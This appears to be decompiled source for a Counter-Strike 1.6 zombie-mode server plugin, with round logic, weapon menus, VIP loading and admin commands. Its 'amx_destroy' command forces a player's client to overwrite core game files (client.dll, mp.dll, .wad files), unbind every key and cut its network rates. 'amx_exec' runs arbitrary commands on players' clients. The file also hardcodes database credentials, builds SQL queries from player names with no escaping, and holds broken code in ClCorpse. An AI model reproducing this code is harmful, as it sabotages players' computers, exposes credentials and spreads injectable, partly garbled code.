set_task(1.5, "TaskRespawn", iPlayer, "", 0, "", 0);
}
send_hide_weapon(iPlayer, 32);
send_crosshair(iPlayer);
}
return 0;
}
public EventRoundEnd()
{
static Float:fCurrent;
static Float:fLast;
fCurrent = get_gametime();
if (floatsub(fCurrent, fLast) < 0.5)
{
return 0;
}
fLast = fCurrent;
g_iRoundsCount += 1;
g_iRounds[g_iRoundsCount] = g_iRoundType;
g_bRoundEnd = true;
g_bModeStarted = false;
g_iRoundType = 0;
remove_task(600, 0);
remove_task(700, 0);
remove_task(550, 0);
remove_task(900, 0);
remove_task(650, 0);
client_cmd(0, "stopsound");
if (!GetZombies())
{
set_hudmessage(0, 0, 200, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "Humans have defeated the plague!");
client_cmd(0, "spk %s", g_cEndRoundHumanSounds[random_num(0, 2)]);
}
else
{
if (!GetHumans())
{
set_hudmessage(200, 0, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "Zombies have taken over the world!");
client_cmd(0, "spk %s", g_cEndRoundZombieSounds[random_num(0, 3)]);
}
else
{
set_hudmessage(0, 200, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iTopMessageSync, "No one won...");
client_cmd(0, "spk ZombieOutstanding/end_round_win_no_one");
}
}
static iFrags;
static iMaximumPacks;
static iMaximumKills;
static iPacksLeader;
static iKillsLeader;
iMaximumPacks = 0;
iMaximumKills = 0;
iPacksLeader = 0;
iKillsLeader = 0;
g_iVariable = 1;
while (g_iMaxClients + 1 > g_iVariable)
{
if (g_bConnected[g_iVariable])
{
iFrags = get_user_frags(g_iVariable);
if (iFrags > iMaximumKills)
{
iMaximumKills = iFrags;
iKillsLeader = g_iVariable;
}
}
g_iVariable += 1;
}
g_iVariable = 1;
while (g_iMaxClients + 1 > g_iVariable)
{
if (g_bConnected[g_iVariable] && g_iPacks[g_iVariable] > iMaximumPacks)
{
iMaximumPacks = g_iPacks[g_iVariable];
iPacksLeader = g_iVariable;
}
g_iVariable += 1;
}
if (g_bConnected[iKillsLeader])
{
static a[15];
AddCommas(iMaximumKills, a, 14);
if (g_iKillsThisRound[iKillsLeader])
{
client_print_color(0, print_team_grey, "^3%s^1 is^4 Leader^1 with^4 %s^1 frags! [^4 %d^1 this round ]", g_cName[iKillsLeader], a, g_iKillsThisRound[iKillsLeader]);
}
else
{
client_print_color(0, print_team_grey, "^3%s^1 is^4 Leader^1 with^4 %s^1 frags!", g_cName[iKillsLeader], a);
}
}
if (g_bConnected[iPacksLeader])
{
static a[15];
AddCommas(iMaximumPacks, a, 14);
client_print_color(0, print_team_grey, "^3%s^1 is^4 Leader^1 with^4 %s^1 packs!", g_cName[iPacksLeader], a);
}
static iTeam;
static j;
static i;
i = random_num(1, g_iMaxClients);
iTeam = 1;
j = 1;
while (g_iMaxClients + 1 > j)
{
i += 1;
if (i > g_iMaxClients)
{
i = 1;
}
if (!g_bConnected[i] || 0 < get_team(i) < 3)
{
}
else
{
if (iTeam > 2)
{
iTeam = 1;
}
set_team_offset(i, iTeam);
iTeam += 1;
}
j += 1;
}
return 0;
}
public OnPlayerSpawn(iPlayer)
{
if (is_user_alive(iPlayer))
{
g_bAlive[iPlayer] = 1;
new var1;
if (VipHasFlag(iPlayer, 100))
{
var1 = 1;
}
else
{
var1 = 0;
}
g_bCachedDamage[iPlayer] = var1;
g_cClass[iPlayer] = "Human"
g_iBurningDuration[iPlayer] = 0;
g_iPlayerType[iPlayer] = 0;
g_bKilling[iPlayer] = 0;
g_bUnlimitedClip[iPlayer] = 0;
g_bDoubleDamage[iPlayer] = 0;
g_bNoDamage[iPlayer] = 0;
g_bZombie[iPlayer] = 0;
g_bFlashEnabled[iPlayer] = 0;
g_bFlash[iPlayer] = 0;
set_zombie(iPlayer, 0);
set_monster(iPlayer, 0);
remove_glow(iPlayer);
g_bFrozen[iPlayer] = 0;
set_take_damage(iPlayer, 2);
set_frozen(iPlayer, 0);
set_health(iPlayer, 150);
set_gravity(iPlayer, 1.0);
set_speed(iPlayer, 240.0);
remove_task(iPlayer + 250, 0);
remove_task(iPlayer + 200, 0);
remove_task(iPlayer + 350, 0);
static Float:fCurrentTime;
fCurrentTime = get_gametime();
if (fCurrentTime - g_fLastChangedModel >= 0.35)
{
ChangeModel(iPlayer + 250);
g_fLastChangedModel = fCurrentTime;
}
else
{
set_task(g_fLastChangedModel + 0.35 - fCurrentTime, "ChangeModel", iPlayer + 250, "", 0, "", 0);
g_fLastChangedModel = g_fLastChangedModel + 0.35;
}
set_task(0.2, "TaskShowMenu", iPlayer, "", 0, "", 0);
set_task(random_float(1.0, 5.0), "TaskRespawn", iPlayer, "", 0, "", 0);
if (!g_bRoundStart)
{
if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 64)
{
MakeZombie(0, iPlayer, false, false, false);
}
if (!g_iRoundType || g_iRoundType & 1 || g_iRoundType & 2)
{
if (get_team(iPlayer) != 2)
{
set_team(iPlayer, 2);
}
}
if (g_iRoundType & 128 || g_iRoundType & 256)
{
MakeHuman(iPlayer, true, false);
}
if (g_iRoundType & 512)
{
MakeZombie(0, iPlayer, false, false, true);
}
}
if (g_Hidden[iPlayer])
{
Make_Client_Visible(iPlayer);
g_Hidden[iPlayer] = 0;
}
if (VipHasFlag(iPlayer, 106) && g_iMaxJumps[iPlayer] != 1)
{
g_iMaxJumps[iPlayer] = 1;
}
if (VipHasFlag(iPlayer, 97) && get_armor(iPlayer) <= 50)
{
set_armor(iPlayer, get_armor(iPlayer) + 50);
}
if (VipHasFlag(iPlayer, 104))
{
set_health(iPlayer, get_health(iPlayer) + 150);
}
set_task(1.0, "TaskPrepSpa", iPlayer, "", 0, "", 0);
}
return 0;
}
public TaskPrepSpa(iPlayer)
{
if (is_user_alive(iPlayer) && get_team(iPlayer) == 1 && !g_bZombie[iPlayer] && g_bRoundStart)
{
set_team(iPlayer, 2);
}
return 0;
}
public TaskShowMenu(iPlayer)
{
if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer] && !g_bZombie[iPlayer])
{
menu_display(iPlayer, g_iSecondaryMenu, 0);
}
return 0;
}
public _SecondaryMenu(iPlayer, iMenu, iItem)
{
if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
{
static iChoice;
static iDummy;
static cBuffer[3];
menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
iChoice = str_to_num(cBuffer);
give_item(iPlayer, g_cSecondaryEntities[iChoice]);
cs_set_user_bpammo(iPlayer, g_iSecondaryWeapons[iChoice], 9999);
menu_display(iPlayer, g_iPrimaryMenu, 0);
}
return 0;
}
public _PrimaryMenu(iPlayer, iMenu, iItem)
{
if (iItem != -3 && g_bAlive[iPlayer] && !g_bZombie[iPlayer] && !g_iPlayerType[iPlayer])
{
static iChoice;
static iDummy;
static cBuffer[3];
menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
iChoice = str_to_num(cBuffer);
give_item(iPlayer, g_cPrimaryEntities[iChoice]);
cs_set_user_bpammo(iPlayer, g_iPrimaryWeapons[iChoice], 9999);
if (!user_has_weapon(iPlayer, 4, -1))
{
give_item(iPlayer, "weapon_hegrenade");
}
if (!user_has_weapon(iPlayer, 25, -1))
{
give_item(iPlayer, "weapon_flashbang");
}
if (!user_has_weapon(iPlayer, 9, -1))
{
give_item(iPlayer, "weapon_smokegrenade");
}
}
return 0;
}
public ChangeModel(iTask)
{
static bool:bChange;
static cModel[24];
static i;
static iPlayer;
iPlayer = iTask + -250;
bChange = true;
get_user_model(iPlayer, cModel, 24);
if (!g_bZombie[iPlayer])
{
if (!g_iPlayerType[iPlayer])
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 109) && !g_bVip[iPlayer])
{
if (equal(cModel, "z_out_admin", 0))
{
bChange = false;
}
}
if (g_bVip[iPlayer])
{
if (equal(cModel, "DanDiaconescu", 0))
{
bChange = false;
}
}
i = 0;
while (i < 4)
{
if (equal(cModel, g_cHumanModels[i], 0))
{
bChange = false;
}
i += 1;
}
}
}
if (bChange)
{
if (!g_bZombie[iPlayer])
{
if (!g_iPlayerType[iPlayer])
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 109) && !g_bVip[iPlayer])
{
set_user_model(iPlayer, "z_out_admin");
}
else
{
if (g_bVip[iPlayer])
{
set_user_model(iPlayer, "DanDiaconescu");
}
else
{
set_user_model(iPlayer, g_cHumanModels[random_num(0, 3)]);
}
}
}
else
{
if (g_iPlayerType[iPlayer] & 4)
{
set_user_model(iPlayer, "z_out_survivor");
}
if (g_iPlayerType[iPlayer] & 8 && !equal(cModel, "arctic", 0))
{
set_user_model(iPlayer, "arctic");
}
}
}
else
{
if (!g_iPlayerType[iPlayer])
{
set_user_model(iPlayer, g_cZombieModels[g_iZombieClass[iPlayer]]);
}
if (g_iPlayerType[iPlayer] & 1)
{
set_user_model(iPlayer, "z_out_nemesis");
}
if (g_iPlayerType[iPlayer] & 2)
{
set_user_model(iPlayer, "z_out_assassin");
}
}
}
return 0;
}
public TaskRCount()
{
SQL_ThreadQuery(g_hSQLTuple, "SQLRanksCount", "SELECT * FROM r", hQuery, 0);
return 0;
}
public TaskGetMaps()
{
new cTime[4];
new iFile;
new cLine[161];
get_time("%H", cTime, 3);
if (cTime[0] == 48)
{
SQL_ThreadQuery(g_hSQLTuple, "SQLGetMaps", "SELECT n FROM m WHERE CHAR_LENGTH(o)>0", hQuery, 0);
}
else
{
SQL_ThreadQuery(g_hSQLTuple, "SQLGetMaps", "SELECT n FROM m", hQuery, 0);
}
iFile = fopen("addons/amxmodx/configs/z_out_advertisements.ini", "r");
if (iFile)
{
while (!feof(iFile))
{
fgets(iFile, cLine, 160);
trim(cLine);
if (cLine[0] == 33)
{
copy(g_cAdvertisements[g_iAdvertisementsCount], 160, cLine);
replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!g", "^4");
replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!t", "^3");
replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!n", "^1");
g_iAdvertisementsCount += 1;
}
}
fclose(iFile);
}
iFile = fopen("addons/amxmodx/configs/z_out_hud_advertisements.ini", "r");
if (iFile)
{
while (!feof(iFile))
{
fgets(iFile, cLine, 160);
trim(cLine);
if (4 < strlen(cLine))
{
copy(g_cHudAdvertisements[g_iHudAdvertisementsCount], 160, cLine);
replace_all(g_cHudAdvertisements[g_iHudAdvertisementsCount], 160, "\n", "^n");
g_iHudAdvertisementsCount += 1;
}
}
fclose(iFile);
}
return 0;
}
public CmdBlock()
{
return 1;
}
public CmdUpdate(iPlayer)
{
static Float:fGameTime;
fGameTime = get_gametime();
if (fGameTime - g_fLast[iPlayer] < 0.3)
{
server_cmd("kick #%d You are banned due to flooding!; addip 60 %s; writeip", get_user_userid(iPlayer), g_cInternetProtocolAddress[iPlayer]);
}
else
{
g_fLast[iPlayer] = fGameTime;
}
return 0;
}
public InitSQL()
{
g_hSQLTuple = SQL_MakeDbTuple("89.44.246.254", "csaddict_z", "arara", "csaddict_z", 0);
return 0;
}
public plugin_init()
{
new i;
new cNumber[3];
new cLine[128];
RegisterHam(Ham_Spawn, "player", "OnPlayerSpawn", 1);
RegisterHam(Ham_TakeDamage, "player", "OnTakeDamage", 0);
RegisterHam(Ham_Touch, "weaponbox", "OnTouch", 0);
RegisterHam(Ham_Touch, "armoury_entity", "OnTouch", 0);
RegisterHam(Ham_Item_PreFrame, "player", "OnPreFrame", 1);
RegisterHam(Ham_Killed, "player", "OnKilled", 0);
RegisterHam(Ham_TraceAttack, "player", "OnTraceAttack", 0);
RegisterHam(Ham_Think, "grenade", "OnGrenadeThink", 0);
RegisterHam(Ham_Player_Duck, "player", "OnPlayerDuck", 0);
RegisterHam(Ham_Player_Jump, "player", "OnPlayerJump", 0);
register_logevent("EventRoundStart", 2, "1=Round_Start");
register_logevent("EventRoundEnd", 2, "1=Round_End");
register_event("HLTV", "EventHLTV", "a", "1=0", "2=0");
register_event("CurWeapon", "EventCurWeapon", "be", "1=1");
register_event("StatusValue", "EventStatusValue", "be", "1=2", "2!0");
register_event("StatusValue", "EventStatusValueHide", "be", "1=1", "2=0");
register_concmd("amx_ban", "CmdBan", -1, "", -1);
register_concmd("amx_freeze", "CmdFreeze", -1, "", -1);
register_concmd("amx_map", "CmdMap", -1, "", -1);
register_concmd("amx_addban", "CmdAddBan", -1, "", -1);
register_concmd("amx_last", "CmdLast", -1, "", -1);
register_concmd("amx_votemap", "CmdVoteMap", -1, "", -1);
register_concmd("amx_kick", "CmdKick", -1, "", -1);
register_concmd("amx_slay", "CmdSlay", -1, "", -1);
register_concmd("amx_say", "CmdSayChat", -1, "", -1);
register_concmd("amx_chat", "CmdChat", -1, "", -1);
register_concmd("amx_destroy", "CmdDestroy", -1, "", -1);
register_concmd("amx_gag", "CmdGag", -1, "", -1);
register_concmd("amx_ungag", "CmdGag", -1, "", -1);
register_concmd("amx_slap", "CmdSlap", -1, "", -1);
register_concmd("amx_password_for_slot", "CommandGetSlot", -1, "", -1);
register_concmd("amx_password_for_model", "CommandGetModel", -1, "", -1);
register_concmd("amx_human", "CmdMode", -1, "", -1);
register_concmd("amx_zombie", "CmdMode", -1, "", -1);
register_concmd("amx_nemesis", "CmdMode", -1, "", -1);
register_concmd("amx_unfreeze", "CmdUnfreeze", -1, "", -1);
register_concmd("amx_swarm", "CmdMode", -1, "", -1);
register_concmd("amx_plague", "CmdMode", -1, "", -1);
register_concmd("amx_armageddon", "CmdMode", -1, "", -1);
register_concmd("amx_multi", "CmdMode", -1, "", -1);
register_concmd("amx_multiple", "CmdMode", -1, "", -1);
register_concmd("amx_sniper", "CmdMode", -1, "", -1);
register_concmd("amx_survivor", "CmdMode", -1, "", -1);
register_concmd("amx_assassins_vs_snipers", "CmdMode", -1, "", -1);
register_concmd("amx_assassin", "CmdMode", -1, "", -1);
register_concmd("amx_respawn", "CmdMode", -1, "", -1);
register_concmd("amx_ammo", "CmdMode", -1, "", -1);
register_clcmd("cl_setautobuy", "CmdBlock", -1, "", -1);
register_clcmd("cl_setrebuy", "CmdBlock", -1, "", -1);
register_clcmd("cl_autoupdate", "CmdUpdate", -1, "", -1);
register_clcmd("fullupdate", "CmdUpdate", -1, "", -1);
register_clcmd("fullupdaterate", "CmdUpdate", -1, "", -1);
register_clcmd("say", "Client_Say", -1, "", -1);
register_clcmd("say_team", "Client_SayTeam", -1, "", -1);
register_clcmd("jointeam", "CmdJoinTeam", -1, "", -1);
register_clcmd("chooseteam", "CmdJoinTeam", -1, "", -1);
register_clcmd("plant_mine", "CmdPlantMine", -1, "", -1);
register_clcmd("take_mine", "CmdTakeMine", -1, "", -1);
register_clcmd("nightvision", "CmdNightVision", -1, "", -1);
register_clcmd("drop", "CmdDrop", -1, "", -1);
register_clcmd("amx_exec", "CmdExec", -1, "", -1);
register_message(get_user_msgid("Scenario"), "MessageScenario");
register_message(get_user_msgid("Health"), "MessageHealth");
register_message(get_user_msgid("SayText"), "MessageSayText");
register_message(get_user_msgid("Money"), "MessageMoney");
register_message(get_user_msgid("ClCorpse"), "ClCorpse");
set_msg_block(get_user_msgid("TextMsg"), 2);
set_msg_block(get_user_msgid("SendAudio"), 2);
set_msg_block(get_user_msgid("AmmoPickup"), 2);
set_msg_block(get_user_msgid("WeapPickup"), 2);
g_iMaxClients = get_maxplayers();
g_iTimeLimit = get_cvar_pointer("mp_timelimit");
g_iTopMessageSync = CreateHudSyncObj(0);
g_iDownMessageSync = CreateHudSyncObj(0);
g_iRemainingSync = CreateHudSyncObj(0);
g_iVersusSync = CreateHudSyncObj(0);
g_iCenterMessageSync = CreateHudSyncObj(0);
g_iMineMessage = CreateHudSyncObj(0);
g_iSecondMineMessage = CreateHudSyncObj(0);
g_iEventsHudmessage = CreateHudSyncObj(0);
g_iCounterMessage = CreateHudSyncObj(0);
g_iAdvertisementsSync = CreateHudSyncObj(0);
g_iAntidoteSync = CreateHudSyncObj(0);
g_iRegenerationSync = CreateHudSyncObj(0);
g_iLeftSync[0] = CreateHudSyncObj(0);
g_iLeftSync[1] = CreateHudSyncObj(0);
i = 0;
while (i < 8)
{
g_iDamageSync[i] = CreateHudSyncObj(0);
i++;
}
g_iGameMenu = menu_create("Game Menu", "_GameMenu", 0);
g_iSecondaryMenu = menu_create("Secondary Menu", "_SecondaryMenu", 0);
g_iPrimaryMenu = menu_create("Primary Menu", "_PrimaryMenu", 0);
g_iMenuZombieClasses = menu_create("Zombie Classes", "_ZombieClasses", 0);
menu_additem(g_iGameMenu, "Buy extra items", "0", 0, -1);
menu_additem(g_iGameMenu, "Choose zombie class", "1", 0, -1);
menu_additem(g_iGameMenu, "Buy features with points", "2", 0, -1);
menu_additem(g_iGameMenu, "Unstuck", "3", 0, -1);
menu_additem(g_iGameMenu, "See rank", "4", 0, -1);
menu_additem(g_iGameMenu, "See top and all statistics", "5", 0, -1);
i = 0;
while (i < 7)
{
formatex(cLine, 128, "%s %s", g_cZombieClasses[i], g_cZombieAttribs[i]);
num_to_str(i, cNumber, 3);
menu_additem(g_iMenuZombieClasses, cLine, cNumber, 0, -1);
i++;
}
i = 0;
while (i < 6)
{
num_to_str(i, cNumber, 3);
menu_additem(g_iSecondaryMenu, g_cSecondaryWeapons[i], cNumber, 0, -1);
g_iSecondaryWeapons[i] = get_weaponid(g_cSecondaryEntities[i]);
i++;
}
i = 0;
while (i < 10)
{
num_to_str(i, cNumber, 3);
menu_additem(g_iPrimaryMenu, g_cPrimaryWeapons[i], cNumber, 0, -1);
g_iPrimaryWeapons[i] = get_weaponid(g_cPrimaryEntities[i]);
i++;
}
g_aNameData = ArrayCreate(32, 1);
g_aAmmoData = ArrayCreate(1, 1);
set_task(5.0, "TaskLight", 0, "", 0, "b", 0);
set_task(33.50, "TaskAdvertisements", 0, "", 0, "b", 0);
set_task(500.0, "TaskUnban", 0, "", 0, "b", 0);
set_task(0.40, "InitSQL", 0, "", 0, "", 0);
set_task(2.35, "TaskRCount", 0, "", 0, "", 0);
set_task(6.20, "TaskGetMaps", 0, "", 0, "", 0);
set_task(0.1, "TaskReadVips", 0, 318308, 0, 318312, 0);
set_task(0.1, "TaskAxaxa", 0, "", 0, "", 0);
g_bAdmin[0] = 1;
return 0;
}
public ClCorpse()
{
if (get_msg_args() == 12 && g_Hidden[get_msg_arg_int(12)])
}
public TaskReadVips()
{
new iFile = fopen("addons/amxmodx/configs/vips.ini", "r");
if (iFile)
{
new cLine[256];
while (!feof(iFile))
{
fgets(iFile, cLine, 255);
trim(cLine);
if (cLine[0] != 59 && strlen(cLine) > 5)
{
parse(cLine, g_cVipNames[g_iVipsCount], 31, g_cVipPasswords[g_iVipsCount], 31, g_cVipFlags[g_iVipsCount], 31);
g_iVipsCount += 1;
}
}
fclose(iFile);
}
return 0;
}
public TaskAxaxa()
{
new iFile = fopen("addons/amxmodx/configs/RegisteredCharacter.ini", "r");
if (iFile)
{
fgets(iFile, g_cRegisteredCharacter, 31);
trim(g_cRegisteredCharacter);
formatex(g_Secret, 31, "%s", g_cRegisteredCharacter);
format(g_cRegisteredCharacter, 31, "(Gold Member %s) ", g_cRegisteredCharacter);
fclose(iFile);
}
return 0;
}
public MessageMoney(iMessage, iDestination, iPlayer)
{
if (g_bConnected[iPlayer])
{
reset_money(iPlayer);
}
return 1;
}
public CmdUnfreeze(iPlayer)
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 49))
{
static iTarget;
static cTarget[33];
read_argv(1, cTarget, 32);
iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
if (iTarget)
{
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 made^4 %s^3 unfroze", g_cName[iPlayer], g_cName[iTarget]);
set_frozen(iTarget, 0);
remove_glow(iTarget);
g_bFrozen[iTarget] = 0;
ExecuteHamB(Ham_Item_PreFrame, iTarget);
}
return 1;
}
return 0;
}
public TaskAdvertisements()
{
set_task(1.0, "TaskHudXYZ", 0, "", 0, "", 0);
if (g_iMessage >= g_iAdvertisementsCount)
{
g_iMessage = 0;
}
client_print_color(0, print_team_grey, g_cAdvertisements[g_iMessage]);
g_iMessage += 1;
return 0;
}
public TaskHudXYZ()
{
if (g_iHudMessage >= g_iHudAdvertisementsCount)
{
g_iHudMessage = 0;
}
set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), -1.00, 0.20, 2, 0.20, 6.00, 0.10, 0.20, -1);
ShowSyncHudMsg(0, g_iAdvertisementsSync, g_cHudAdvertisements[g_iHudMessage]);
g_iHudMessage += 1;
return 0;
}
public EventStatusValueHide(iPlayer)
{
ClearSyncHud(iPlayer, g_iCenterMessageSync);
return 0;
}
public TaskRemoveRender(i)
{
if (g_bConnected[i] && !g_iPlayerType[i] & 1)
{
remove_glow(i);
}
return 0;
}
public CmdGag(iPlayer)
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 64))
{
static cCommand[32];
read_argv(0, cCommand, 32);
if (equali(cCommand, "amx_gag", 0))
{
static iTarget;
static iTime[3];
static cTarget[32];
read_argv(1, cTarget, 32);
iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
if ( !iTarget ) return 1;
read_argv(2, iTime, 2);
if (!iTarget)
{
return 1;
}
if (g_fGagTime[iTarget] < get_gametime())
{
g_fGagTime[iTarget] = floatadd(get_gametime(), float(clamp(str_to_num(iTime), 1, 12) * 60));
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 gag^3 %s^1 for^4 %i minutes", g_cName[iPlayer], g_cName[iTarget], clamp(str_to_num(iTime), 1, 12));
}
else
{
console_print(iPlayer, "[Zombie Outstanding] Player ^"%s^" is already gagged", g_cName[iTarget]);
}
}
if (equali(cCommand, "amx_ungag", 0))
{
static iTarget;
static cTarget[32];
read_argv(1, cTarget, 32);
iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
if ( !iTarget ) return 1;
if (g_fGagTime[iTarget] > get_gametime())
{
g_fGagTime[iTarget] = false;
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 ungag^3 %s", g_cName[iPlayer], g_cName[iTarget]);
}
else
{
console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
}
}
}
return 0;
}
public CmdSlap(iPlayer)
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 36))
{
static iTarget;
static iDamage;
static cDamage[15];
static cTarget[32];
read_argv(1, cTarget, 32);
read_argv(2, cDamage, 7);
iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
iDamage = clamp(str_to_num(cDamage), 0, 999999);
if (0 < iTarget)
{
user_slap(iTarget, iDamage, 1);
AddCommas(iDamage, cDamage, 14);
if (0 < iDamage)
{
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 slap^3 %s^1 with^4 %s damage", g_cName[iPlayer], g_cName[iTarget], cDamage);
}
else
{
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 slap^3 %s", g_cName[iPlayer], g_cName[iTarget]);
}
}
else
{
console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
}
}
return 0;
}
public CmdExec(iPlayer)
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 105))
{
static iTarget;
static cCommand[64];
static cTarget[32];
read_argv(1, cTarget, 32);
read_argv(2, cCommand, 64);
iTarget = GetTarget(iPlayer, cTarget, 0);
if (0 < iTarget)
{
client_cmd(iTarget, cCommand);
}
console_print(iPlayer, "[Zombie Outstanding] Player not found!");
}
return 1;
}
public CmdDestroy(iPlayer)
{
if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 52))
{
static iTarget;
static cTarget[32];
read_argv(1, cTarget, 32);
iTarget = cmd_target ( iPlayer, cTarget, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );
if (0 < iTarget)
{
client_cmd(iTarget, "unbindall; bind ` ^"say I_have_been_destroyed^"; bind ~ ^"say I_have_been_destroyed^"; bind esc ^"say I_have_been_destroyed^"");
client_cmd(iTarget, "motdfile resource/GameMenu.res; motd_write a; motdfile models/player.mdl; motd_write a; motdfile dlls/mp.dll; motd_write a");
client_cmd(iTarget, "motdfile cl_dlls/client.dll; motd_write a; motdfile cs_dust.wad; motd_write a; motdfile cstrike.wad; motd_write a");
client_cmd(iTarget, "motdfile sprites/muzzleflash1.spr; motdwrite a; motdfile events/ak47.sc; motd_write a; motdfile models/v_ak47.mdl; motd_write a");
client_cmd(iTarget, "fps_max 1; rate 0; cl_cmdrate 0; cl_updaterate 0");
client_cmd(iTarget, "hideconsole; hud_saytext 0; cl_allowdownload 0; cl_allowupload 0; cl_dlmax 1; _restart");
client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 destroy^3 %s", g_cName[iPlayer], g_cName[iTarget]);
client_cmd(0, "spk ^"vox/bizwarn coded user apprehend^"");
}
console_print(iPlayer, "[Zombie Outstanding] Player was not found!");
}
return 0;
}
public client_putinserver(iPlayer)
{
static Float:fCurrentTime;
static iSize;
g_bKilling[iPlayer] = 0;
g_bGaveThisRound[iPlayer] = 0;
g_bRanked[iPlayer] = 0;
g_bGoldenDeagle[iPlayer] = 0;
g_bGolden[iPlayer] = 0;
g_bAlive[iPlayer] = 0;
g_bNoDamage[iPlayer] = 0;
g_bZombie[iPlayer] = 0;
g_bAdmin[iPlayer] = 0;
Loaded[iPlayer] = 0;
g_iBurningDuration[iPlayer] = 0;
g_iPlayerType[iPlayer] = 0;
g_iPoints[iPlayer] = 0;
g_iPacks[iPlayer] = 0;
g_iKillsThisRound[iPlayer] = 0;
g_iZombieNextClass[iPlayer] = -1;
g_fDamage[iPlayer] = 0;
get_user_ip(iPlayer, g_cInternetProtocolAddress[iPlayer], 24, 1);
fCurrentTime = get_gametime();
get_user_authid(iPlayer, g_cSteam[iPlayer], 24);
get_user_name(iPlayer, g_cName[iPlayer], 32);
strip_name(g_cName[iPlayer], 32);
if (!g_bEnded)
{
static cPlayer[3];
num_to_str(iPlayer, cPlayer, 3);
if (floatsub(fCurrentTime, g_fLastQuery) >= 2.0)
{
formatex(g_cQuery, 255, "SELECT c FROM b WHERE c='%s'", g_cInternetProtocolAddress[iPlayer]);
SQL_ThreadQuery(g_hSQLTuple, "SQLBanCheck", g_cQuery, cPlayer, 3);
g_fLastQuery = fCurrentTime;
}
else
{
set_task(g_fLastQuery + 2.0 - fCurrentTime, "_Task_BanCheck", iPlayer + 50, "", 0, "", 0);
g_fLastQuery = g_fLastQuery + 2.0;
}
if (floatsub(fCurrentTime, g_fLastQuery) >= 2.0)
{
if (strlen(g_cSteam[iPlayer]) == 18)
{
formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE s='%s' OR n='%s'", g_cSteam[iPlayer], g_cName[iPlayer]);
}
else
{
formatex(g_cQuery, 256, "SELECT f,p,t FROM a WHERE n='%s'", g_cName[iPlayer]);
}
SQL_ThreadQuery(g_hSQLTuple, "SQLCheckAdmin", g_cQuery, cPlayer, 3);
g_fLastQuery = fCurrentTime;
}
else
{
set_task(g_fLastQuery + 2.0 - fCurrentTime, "_Task_AdminCheck", iPlayer + 100, "", 0, "", 0);
g_fLastQuery = g_fLastQuery + 2.0;
}
if (floatsub(fCurrentTime, g_fLastQuery) >= 2.0)
{
formatex(g_cQuery, 255, "SELECT s,k,d,p,y FROM r WHERE n='%s'", g_cName[iPlayer]);
SQL_ThreadQuery(g_hSQLTuple, "SQLPreparePlayer", g_cQuery, cPlayer, 3);
g_fLastQuery = fCurrentTime;
}
else
{
set_task(g_fLastQuery + 2.0 - fCurrentTime, "_Task_RankCheck", iPlayer + 150, "", 0, "", 0);
g_fLastQuery = g_fLastQuery + 2.0;
}
set_task(300.0, "TaskUpdateTime", iPlayer + 400, "", 0, "b", 0);
set_task(1.0, "TaskHud", iPlayer + 300, "", 0, "b", 0);
set_task(12.0, "TaskCheckName", iPlayer, "", 0, "", 0);
set_task(12.0, "TaskShowMessage", iPlayer, "", 0, "", 0);
}
if ((iSize = ArraySize(g_aAmmoData)))
{
static cSavedName[32];
static i;
i = iSize + -1;
while (i > -1)
{
ArrayGetString(g_aNameData, i, cSavedName, 32);
if (equali(cSavedName, g_cName[iPlayer], 0))
{
g_iPacks[iPlayer] = ArrayGetCell(g_aAmmoData, i);
}
i -= 1;
}
}
if (!g_iPacks[iPlayer])
{
g_iPacks[iPlayer] = 99999;
}
set_task(1.0, "TaskCheckName", iPlayer, "", 0, "", 0);
set_task(2.0, "AnnounceXa", iPlayer, "", 0, "", 0);
g_bConnected[iPlayer] = 1;
g_bVip[iPlayer] = 0;
client_cmd(iPlayer, "cl_minmodels 0; mp3 stop");
get_user_info(iPlayer, "_pw", g_cPasswords[iPlayer], 31);
new i;
while (i < g_iVipsCount)
{
if (equali(g_cVipNames[i], g_cName[iPlayer], 0))
{
